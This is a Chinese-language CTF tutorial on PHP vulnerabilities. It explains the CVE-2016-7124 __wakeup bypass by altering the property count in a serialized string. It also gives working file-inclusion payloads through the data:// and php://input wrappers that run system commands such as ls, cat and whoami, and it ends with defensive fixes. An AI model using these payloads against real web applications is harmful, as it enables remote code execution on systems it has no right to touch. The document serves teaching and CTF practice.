Web攻防世界引导模式
字数 967 2025-08-19 12:40:41
PHP反序列化漏洞与文件包含漏洞实战教学
一、反序列化漏洞与__wakeup绕过
1. 漏洞原理
PHP反序列化漏洞通常出现在应用程序将用户可控的数据反序列化为PHP对象时。当类中定义了魔术方法(如__wakeup())时,这些方法会在反序列化过程中自动执行,可能导致安全问题。
2. CVE-2016-7124漏洞分析
该漏洞允许通过修改序列化字符串中的对象属性数量来绕过__wakeup()方法的执行:
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
正常序列化结果:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
3. 漏洞利用方法
要绕过__wakeup(),只需将对象属性数量改为大于实际数量:
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
4. 实战步骤
-
获取原始序列化字符串:
$a = new xctf(); print(serialize($a)); -
修改属性数量(从1改为2)
-
通过GET参数传递修改后的序列化字符串
二、文件包含漏洞
1. 漏洞原理
文件包含漏洞发生在应用程序动态包含文件时未对用户输入进行充分过滤,导致可以包含恶意文件或利用PHP伪协议执行任意代码。
2. 常见利用方式
a) data伪协议
当php://被过滤但大小写不敏感时:
?page=data://text/plain,<?php system("ls")?>
?page=data://text/plain,<?php system("cat fl4gisisish3r3.php")?>
b) php://input伪协议
需要POST请求提交数据:
?page=php://input
[POST数据] <?php system("whoami"); ?>
3. 防御方法
- 严格过滤所有输入
- 禁用危险的PHP伪协议
- 使用白名单方式限制可包含的文件
- 设置
open_basedir限制文件访问范围
三、CTF实战技巧
- 代码审计:首先查看页面源代码,寻找可能的传参点
- 目录遍历:根据提示访问特定目录文件
- 信息收集:使用
ls、cat等命令查看目录结构和文件内容 - 绕过技巧:
- 大小写绕过(如PHP://)
- 使用不同的伪协议
- 编码绕过过滤
四、漏洞修复建议
-
对于反序列化漏洞:
- 避免反序列化用户输入
- 使用签名验证序列化数据
- 更新PHP版本(CVE-2016-7124在PHP5<5.6.25和PHP7<7.0.10中存在)
-
对于文件包含漏洞:
- 使用绝对路径而非相对路径
- 实施严格的白名单过滤
- 禁用不必要的PHP伪协议
五、扩展学习
-
其他PHP魔术方法的安全影响:
__destruct()__toString()__call()
-
其他伪协议利用:
expect://phar://
-
高级反序列化利用链(POP链)的构造
通过掌握这些漏洞原理和利用技术,可以更好地理解Web应用安全风险,并在CTF比赛或渗透测试中有效识别和利用这类漏洞。